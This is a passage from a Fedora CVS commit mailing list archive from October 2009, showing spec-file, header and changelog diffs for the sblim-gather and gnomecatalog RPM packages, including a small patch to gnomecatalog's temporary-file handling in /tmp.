# Deregister only if not upgrading 
if [ $1 -eq 0 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail erase!
fi

%postun provider -p /sbin/ldconfig

%changelog
* Tue Oct 13 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.1.9-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-gather/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:41:01 -0000	1.1
+++ .cvsignore	22 Oct 2009 10:40:38 -0000	1.2
@@ -0,0 +1 @@
+sblim-gather-2.1.9.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-gather/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:01 -0000	1.1
+++ sources	22 Oct 2009 10:40:38 -0000	1.2
@@ -0,0 +1 @@
+3f22f288b06fb39457300dee9d726376  sblim-gather-2.1.9.tar.bz2



From mwiriadi at fedoraproject.org  Thu Oct 22 10:42:05 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Thu, 22 Oct 2009 10:42:05 +0000 (UTC)
Subject: rpms/gnomecatalog/F-12 gnomecatalog.spec, 1.8, 1.9 import.log, 1.2,
	1.3
Message-ID: <20091022104205.2459611C008C@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/gnomecatalog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20260/F-12

Modified Files:
	gnomecatalog.spec import.log 
Log Message:
Update the spec file to take into account rel eng work
Fix bug bz 509237 which relates to permission within the /tmp directory




Index: gnomecatalog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnomecatalog/F-12/gnomecatalog.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gnomecatalog.spec	22 Oct 2009 10:38:21 -0000	1.8
+++ gnomecatalog.spec	22 Oct 2009 10:42:04 -0000	1.9
@@ -2,7 +2,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 Name:           gnomecatalog
 Version:        0.3.4.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Catalog Software for Gnome Desktop
 
 Group:          Applications/File
@@ -57,11 +57,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/48x48/mimetypes/gnome-mime-application-x-gcatalog.png
 
 %changelog
-* Thu Oct 22 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 0.3.4.2-2
+* Thu Oct 22 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 0.3.4.2-3
 - Patch for permissions added thanks to Alexander Ovcharenko
 - Closes bug bz 509237
 - Clean up the spec file removing the F9 python-setuptools buildrequires
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jun 20 2009 Marc Wiriadiastra <marc at mwiriadi.id.au> - 0.3.4.2-1
 - Update for new upstream which fixes bug listed below.
 - Cleaned up spec file to suit new upstream source file; tar.bz2 and


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/gnomecatalog/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	22 Oct 2009 10:38:21 -0000	1.2
+++ import.log	22 Oct 2009 10:42:04 -0000	1.3
@@ -1,2 +1,3 @@
 gnomecatalog-0_3_4_2-1_fc11:HEAD:gnomecatalog-0.3.4.2-1.fc11.src.rpm:1245474483
 gnomecatalog-0_3_4_2-2_fc12:F-12:gnomecatalog-0.3.4.2-2.fc12.src.rpm:1256207811
+gnomecatalog-0_3_4_2-3_fc12:F-12:gnomecatalog-0.3.4.2-3.fc12.src.rpm:1256208028



From mwiriadi at fedoraproject.org  Thu Oct 22 10:43:04 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Thu, 22 Oct 2009 10:43:04 +0000 (UTC)
Subject: rpms/gnomecatalog/F-11 gnomecatalog-fstypes.patch, NONE,
	1.1 gnomecatalog.spec, 1.6, 1.7 import.log, 1.1, 1.2
Message-ID: <20091022104304.45B5411C008C@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/gnomecatalog/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20798/F-11

Modified Files:
	gnomecatalog.spec import.log 
Added Files:
	gnomecatalog-fstypes.patch 
Log Message:
Update the spec file to take into account rel eng work
Fix bug bz 509237 which relates to permission within the /tmp directory



gnomecatalog-fstypes.patch:
 fstypes.py |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE gnomecatalog-fstypes.patch ---
--- gnomecatalog-0.3.4.2-orig/gnomecatalog/fstypes.py	2008-01-17 05:47:02.000000000 +0900
+++ gnomecatalog-0.3.4.2/gnomecatalog/fstypes.py	2009-10-22 07:53:01.000000000 +0800
@@ -144,8 +144,9 @@
 			self.icon = icon
 
 		if type(icon) == buffer:
-			open('/tmp/tmp_gnomecatalog_icon.png', 'wb').write(icon)
-			self.icon =  gtk.gdk.pixbuf_new_from_file_at_size("/tmp/tmp_gnomecatalog_icon.png", 24, 24)
+			tmp_icon_filename = "/tmp/tmp_gnomecatalog_icon.png."+str(os.getuid())
+                        open(tmp_icon_filename, 'wb').write(icon)
+                        self.icon =  gtk.gdk.pixbuf_new_from_file_at_size(tmp_icon_filename, 24, 24)
 
 		if not db:
 			self._data_loaded = True


Index: gnomecatalog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnomecatalog/F-11/gnomecatalog.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- gnomecatalog.spec	20 Jun 2009 05:30:00 -0000	1.6
+++ gnomecatalog.spec	22 Oct 2009 10:43:04 -0000	1.7
@@ -2,24 +2,18 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 Name:           gnomecatalog
 Version:        0.3.4.2
-Release:        1%{?dist}
+Release:        3%{?dist}
 Summary:        Catalog Software for Gnome Desktop
 
 Group:          Applications/File
 License:        GPLv3
 URL:            http://gnomecatalog.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
+Patch0:         gnomecatalog-fstypes.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  sqlite-devel, desktop-file-utils, python-devel, gettext
+BuildRequires:  sqlite-devel, desktop-file-utils, python-devel, gettext, python-setuptools-devel
 Requires:       gnome-desktop, python-sqlite2, pygtk2, python-vorbis, python-kaa-metadata
 Buildarch:      noarch
-# Must have setuptools to build the package
-# The build portions moved to a subpackage in F-8
-%if 0%{?fedora} >= 9
-BuildRequires: python-setuptools-devel
-%else
-BuildRequires: python-setuptools
-%endif
 
 %description
 Catalog your dvds/cds and files in your hard disk. Generate thumbnails 
@@ -28,7 +22,8 @@ and saves it in the database files. Save
 then you can search in the metatada of music and images.
 
 %prep
-%setup -q -n %{name}-%{version}/
+%setup -q 
+%patch0 -p1
 
 %build
 CFLAGS="$RPM_OPT_FLAGS" %{__python} -c 'import setuptools; execfile("setup.py")' build
@@ -62,6 +57,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/48x48/mimetypes/gnome-mime-application-x-gcatalog.png
 
 %changelog
+* Thu Oct 22 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 0.3.4.2-3
+- Patch for permissions added thanks to Alexander Ovcharenko
+- Closes bug bz 509237
+- Clean up the spec file removing the F9 python-setuptools buildrequires
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jun 20 2009 Marc Wiriadiastra <marc at mwiriadi.id.au> - 0.3.4.2-1
 - Update for new upstream which fixes bug listed below.
 - Cleaned up spec file to suit new upstream source file; tar.bz2 and


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/gnomecatalog/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	20 Jun 2009 05:30:00 -0000	1.1
+++ import.log	22 Oct 2009 10:43:04 -0000	1.2
@@ -1 +1,2 @@
 gnomecatalog-0_3_4_2-1_fc11:F-11:gnomecatalog-0.3.4.2-1.fc11.src.rpm:1245475449
+gnomecatalog-0_3_4_2-3_fc12:F-11:gnomecatalog-0.3.4.2-3.fc12.src.rpm:1256208152



From mwiriadi at fedoraproject.org  Thu Oct 22 10:44:00 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Thu, 22 Oct 2009 10:44:00 +0000 (UTC)
Subject: rpms/gnomecatalog/F-10 gnomecatalog-fstypes.patch, NONE,
	1.1 gnomecatalog.spec, 1.4, 1.5 import.log, 1.1, 1.2
Message-ID: <20091022104400.EFB8F11C008C@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/gnomecatalog/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21098/F-10

Modified Files:
	gnomecatalog.spec import.log 
Added Files:
	gnomecatalog-fstypes.patch 
Log Message:
Update the spec file to take into account rel eng work
Fix bug bz 509237 which relates to permission within the /tmp directory



gnomecatalog-fstypes.patch:
 fstypes.py |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE gnomecatalog-fstypes.patch ---
--- gnomecatalog-0.3.4.2-orig/gnomecatalog/fstypes.py	2008-01-17 05:47:02.000000000 +0900
+++ gnomecatalog-0.3.4.2/gnomecatalog/fstypes.py	2009-10-22 07:53:01.000000000 +0800
@@ -144,8 +144,9 @@
 			self.icon = icon
 
 		if type(icon) == buffer:
-			open('/tmp/tmp_gnomecatalog_icon.png', 'wb').write(icon)
-			self.icon =  gtk.gdk.pixbuf_new_from_file_at_size("/tmp/tmp_gnomecatalog_icon.png", 24, 24)
+			tmp_icon_filename = "/tmp/tmp_gnomecatalog_icon.png."+str(os.getuid())
+                        open(tmp_icon_filename, 'wb').write(icon)
+                        self.icon =  gtk.gdk.pixbuf_new_from_file_at_size(tmp_icon_filename, 24, 24)
 
 		if not db:
 			self._data_loaded = True


Index: gnomecatalog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnomecatalog/F-10/gnomecatalog.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gnomecatalog.spec	20 Jun 2009 05:01:39 -0000	1.4
+++ gnomecatalog.spec	22 Oct 2009 10:44:00 -0000	1.5
@@ -2,24 +2,18 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 Name:           gnomecatalog
 Version:        0.3.4.2
-Release:        1%{?dist}
+Release:        3%{?dist}
 Summary:        Catalog Software for Gnome Desktop
 
 Group:          Applications/File
 License:        GPLv3
 URL:            http://gnomecatalog.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2
+Patch0:         gnomecatalog-fstypes.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  sqlite-devel, desktop-file-utils, python-devel, gettext
+BuildRequires:  sqlite-devel, desktop-file-utils, python-devel, gettext, python-setuptools-devel
 Requires:       gnome-desktop, python-sqlite2, pygtk2, python-vorbis, python-kaa-metadata
 Buildarch:      noarch
-# Must have setuptools to build the package
-# The build portions moved to a subpackage in F-8
-%if 0%{?fedora} >= 9
-BuildRequires: python-setuptools-devel
-%else
-BuildRequires: python-setuptools
-%endif
 
 %description
 Catalog your dvds/cds and files in your hard disk. Generate thumbnails 
@@ -28,7 +22,8 @@ and saves it in the database files. Save
 then you can search in the metatada of music and images.
 
 %prep
-%setup -q -n %{name}-%{version}/
+%setup -q 
+%patch0 -p1
 
 %build
 CFLAGS="$RPM_OPT_FLAGS" %{__python} -c 'import setuptools; execfile("setup.py")' build
@@ -62,6 +57,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/48x48/mimetypes/gnome-mime-application-x-gcatalog.png
 
 %changelog
+* Thu Oct 22 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 0.3.4.2-3
+- Patch for permissions added thanks to Alexander Ovcharenko
+- Closes bug bz 509237
+- Clean up the spec file removing the F9 python-setuptools buildrequires
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jun 20 2009 Marc Wiriadiastra <marc at mwiriadi.id.au> - 0.3.4.2-1
 - Update for new upstream which fixes bug listed below.
 - Cleaned up spec file to suit new upstream source file; tar.bz2 and


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/gnomecatalog/F-10/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	20 Jun 2009 05:01:39 -0000	1.1
+++ import.log	22 Oct 2009 10:44:00 -0000	1.2
@@ -1 +1,2 @@
 gnomecatalog-0_3_4_2-1_fc11:F-10:gnomecatalog-0.3.4.2-1.fc11.src.rpm:1245473987
+gnomecatalog-0_3_4_2-3_fc12:F-10:gnomecatalog-0.3.4.2-3.fc12.src.rpm:1256208214



From vcrhonek at fedoraproject.org  Thu Oct 22 10:50:35 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 10:50:35 +0000 (UTC)
Subject: rpms/sblim-gather/F-12 gather-config.h, NONE,
	1.1 gather-config.h.prepend, NONE, 1.1 sblim-gather.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091022105035.B5A3E11C02A0@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-gather/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22718

Modified Files:
	sources 
Added Files:
	gather-config.h gather-config.h.prepend sblim-gather.spec 
Log Message:
Initial commit


--- NEW FILE gather-config.h ---
/* This file is here to prevent a file conflict on multiarch systems.  A
 * conflict will frequently occur because arch-specific build-time
 * configuration options are stored (and used, so they can't just be stripped
 * out) in gather-config.h.  The original gather-config.h has been renamed.
 * DO NOT INCLUDE THE NEW FILE DIRECTLY -- ALWAYS INCLUDE THIS ONE INSTEAD. */

#ifdef gather_config_multilib_redirection_h
#error "Do not define gather_config_multilib_redirection_h!"
#endif
#define gather_config_multilib_redirection_h

#if defined(__i386__)
#include "sblim-gather-i386.h"
#elif defined(__ia64__)
#include "sblim-gather-ia64.h"
#elif defined(__powerpc64__)
#include "sblim-gather-ppc64.h"
#elif defined(__powerpc__)
#include "sblim-gather-ppc.h"
#elif defined(__s390x__)
#include "sblim-gather-s390x.h"
#elif defined(__s390__)
#include "sblim-gather-s390.h"
#elif defined(__x86_64__)
#include "sblim-gather-x86_64.h"
#else
#error "This sblim-gather-devel package does not work your architecture?"
#endif

#undef gather_config_multilib_redirection_h


--- NEW FILE gather-config.h.prepend ---
/* Prepended at sblim package build-time.  Don't include this file directly,
 * use "gather-config.h" instead. */

#ifndef gather_config_multilib_redirection_h
#error "Don't include this file directly, use <gather/gather-config.h> instead!"
#endif



--- NEW FILE sblim-gather.spec ---
%define sblim_testsuite_version 1.2.4
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.6.1-1

Name:           sblim-gather
Version:        2.1.9
Release:        1%{?dist}
Summary:        SBLIM Gatherer

Group:          Applications/System
License:        CPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2
Source1:        gather-config.h.prepend
Source2:        gather-config.h
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: sblim-cmpi-devel
BuildRequires: sblim-cmpi-base-devel
BuildRequires: tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires: libsysfs-devel
Requires:      tog-pegasus >= %{tog_pegasus_version}

%description
Standards Based Linux Instrumentation for Manageability
Performance Data Gatherer Base.
This package contains the agents and control programs for gathering
and providing performance data.

%package        provider
Summary:        SBLIM Gatherer Provider
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-cmpi-base
Requires:       tog-pegasus

%description    provider
The CIM (Common Information Model) Providers for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        devel
Summary:        SBLIM Gatherer Development Support
Group:          Development/Libraries
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description    devel
This package is needed to develop new plugins for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        test
Summary:        SBLIM Gatherer Testcase Files
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name}-provider = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description    test
Gatherer Testcase Files for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif
%configure TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/gather/*plug/*a
# remove non-devel .so's from libdir
find $RPM_BUILD_ROOT/%{_libdir} -maxdepth 1 -name "*.so" ! -name libgatherutil.so \
        -exec rm {} \;

# remove non-devel .so's from libdir
# copy extra docs
#mkdir -p $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}
#cp -fp README.{OpenPegasus,RedHat} $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}/
# Install a redirection so that the arch-specific autoconf stuff continues to
# work but doesn't create multilib conflicts.
cat %{SOURCE1} \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h > \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config-%{_arch}.h
chmod 644 $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h
install -m644 %{SOURCE2} $RPM_BUILD_ROOT/%{_includedir}/gather/

# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/*.conf
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
%docdir %{_datadir}/doc/%{name}-%{version}
%{_bindir}/*
%{_sbindir}/*
%{_datadir}/doc/%{name}-%{version}
%{_localstatedir}/run/gather
%{_libdir}/lib[^O]*.so.*
%dir %{_libdir}/gather
%{_libdir}/gather/mplug
%{_libdir}/gather/rplug

%files provider
%defattr(-,root,root,-)
%{_libdir}/gather/cplug
%{_libdir}/libOSBase*.so.*
#%{_libdir}/libOSBase_MetricUtil.so
%{_libdir}/cmpi
%{_datadir}/%{name}

%files devel
%defattr(-,root,root,-)
%{_libdir}/lib[^O]*.so
%{_includedir}/gather

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite/cim/Linux*
%{_datadir}/sblim-testsuite/system/linux/Linux*
%{_datadir}/sblim-testsuite/system/linux/gather-systemname.sh
%{_datadir}/sblim-testsuite/test-gather.sh

%define GATHER_SCHEMA %{_datadir}/%{name}/Linux_Metric.mof %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.mof %{_datadir}/%{name}/Linux_LocalFileSystemMetric.mof %{_datadir}/${name}/Linux_NetworkPortMetric.mof %{_datadir}/%{name}/Linux_OperatingSystemMetric.mof %{_datadir}/%{name}/Linux_ProcessorMetric.mof %{_datadir}/%{name}/Linux_UnixProcessMetric.mof %{_datadir}/%{name}/Linux_XenMetric.mof %{_datadir}/%{name}/Linux_zECKDMetric.mof %{_datadir}/%{name}/Linux_zCECMetric.mof %{_datadir}/%{name}/Linux_zLPARMetric.mof %{_datadir}/%{name}/Linux_zCHMetric.mof
%define GATHER_REGISTRATION %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.registration %{_datadir}/%{name}/Linux_LocalFileSystemMetric.registration %{_datadir}/%{name}/Linux_Metric.registration %{_datadir}/%{name}/Linux_NetworkPortMetric.registration %{_datadir}/%{name}/Linux_OperatingSystemMetric.registration %{_datadir}/%{name}/Linux_ProcessorMetric.registration %{_datadir}/%{name}/Linux_UnixProcessMetric.registration %{_datadir}/%{name}/Linux_XenMetric.registration %{_datadir}/%{name}/Linux_zECKDMetric.registration %{_datadir}/%{name}/Linux_zCECMetric.registration %{_datadir}/%{name}/Linux_zLPARMetric.registration %{_datadir}/%{name}/Linux_zCHMetric.registration

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%pre provider
if [ $1 -gt 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail upgrade!
fi

%post provider
/sbin/ldconfig
if [ $1 -ge 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail install!
fi

%preun provider
# Deregister only if not upgrading 
if [ $1 -eq 0 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail erase!
fi

%postun provider -p /sbin/ldconfig

%changelog
* Tue Oct 13 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.1.9-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-gather/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:01 -0000	1.1
+++ sources	22 Oct 2009 10:50:35 -0000	1.2
@@ -0,0 +1 @@
+3f22f288b06fb39457300dee9d726376  sblim-gather-2.1.9.tar.bz2



From vcrhonek at fedoraproject.org  Thu Oct 22 10:59:29 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 10:59:29 +0000 (UTC)
Subject: rpms/sblim-gather/F-11 gather-config.h, NONE,
	1.1 gather-config.h.prepend, NONE, 1.1 sblim-gather.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091022105929.9ADF311C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-gather/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24658

Modified Files:
	sources 
Added Files:
	gather-config.h gather-config.h.prepend sblim-gather.spec 
Log Message:
Initial commit


--- NEW FILE gather-config.h ---
/* This file is here to prevent a file conflict on multiarch systems.  A
 * conflict will frequently occur because arch-specific build-time
 * configuration options are stored (and used, so they can't just be stripped
 * out) in gather-config.h.  The original gather-config.h has been renamed.
 * DO NOT INCLUDE THE NEW FILE DIRECTLY -- ALWAYS INCLUDE THIS ONE INSTEAD. */

#ifdef gather_config_multilib_redirection_h
#error "Do not define gather_config_multilib_redirection_h!"
#endif
#define gather_config_multilib_redirection_h

#if defined(__i386__)
#include "sblim-gather-i386.h"
#elif defined(__ia64__)
#include "sblim-gather-ia64.h"
#elif defined(__powerpc64__)
#include "sblim-gather-ppc64.h"
#elif defined(__powerpc__)
#include "sblim-gather-ppc.h"
#elif defined(__s390x__)
#include "sblim-gather-s390x.h"
#elif defined(__s390__)
#include "sblim-gather-s390.h"
#elif defined(__x86_64__)
#include "sblim-gather-x86_64.h"
#else
#error "This sblim-gather-devel package does not work your architecture?"
#endif

#undef gather_config_multilib_redirection_h


--- NEW FILE gather-config.h.prepend ---
/* Prepended at sblim package build-time.  Don't include this file directly,
 * use "gather-config.h" instead. */

#ifndef gather_config_multilib_redirection_h
#error "Don't include this file directly, use <gather/gather-config.h> instead!"
#endif



--- NEW FILE sblim-gather.spec ---
%define sblim_testsuite_version 1.2.4
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.6.1-1

Name:           sblim-gather
Version:        2.1.9
Release:        1%{?dist}
Summary:        SBLIM Gatherer

Group:          Applications/System
License:        CPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2
Source1:        gather-config.h.prepend
Source2:        gather-config.h
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: sblim-cmpi-devel
BuildRequires: sblim-cmpi-base-devel
BuildRequires: tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires: libsysfs-devel
Requires:      tog-pegasus >= %{tog_pegasus_version}

%description
Standards Based Linux Instrumentation for Manageability
Performance Data Gatherer Base.
This package contains the agents and control programs for gathering
and providing performance data.

%package        provider
Summary:        SBLIM Gatherer Provider
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-cmpi-base
Requires:       tog-pegasus

%description    provider
The CIM (Common Information Model) Providers for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        devel
Summary:        SBLIM Gatherer Development Support
Group:          Development/Libraries
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description    devel
This package is needed to develop new plugins for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        test
Summary:        SBLIM Gatherer Testcase Files
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name}-provider = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description    test
Gatherer Testcase Files for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif
%configure TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/gather/*plug/*a
# remove non-devel .so's from libdir
find $RPM_BUILD_ROOT/%{_libdir} -maxdepth 1 -name "*.so" ! -name libgatherutil.so \
        -exec rm {} \;

# remove non-devel .so's from libdir
# copy extra docs
#mkdir -p $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}
#cp -fp README.{OpenPegasus,RedHat} $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}/
# Install a redirection so that the arch-specific autoconf stuff continues to
# work but doesn't create multilib conflicts.
cat %{SOURCE1} \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h > \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config-%{_arch}.h
chmod 644 $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h
install -m644 %{SOURCE2} $RPM_BUILD_ROOT/%{_includedir}/gather/

# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/*.conf
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
%docdir %{_datadir}/doc/%{name}-%{version}
%{_bindir}/*
%{_sbindir}/*
%{_datadir}/doc/%{name}-%{version}
%{_localstatedir}/run/gather
%{_libdir}/lib[^O]*.so.*
%dir %{_libdir}/gather
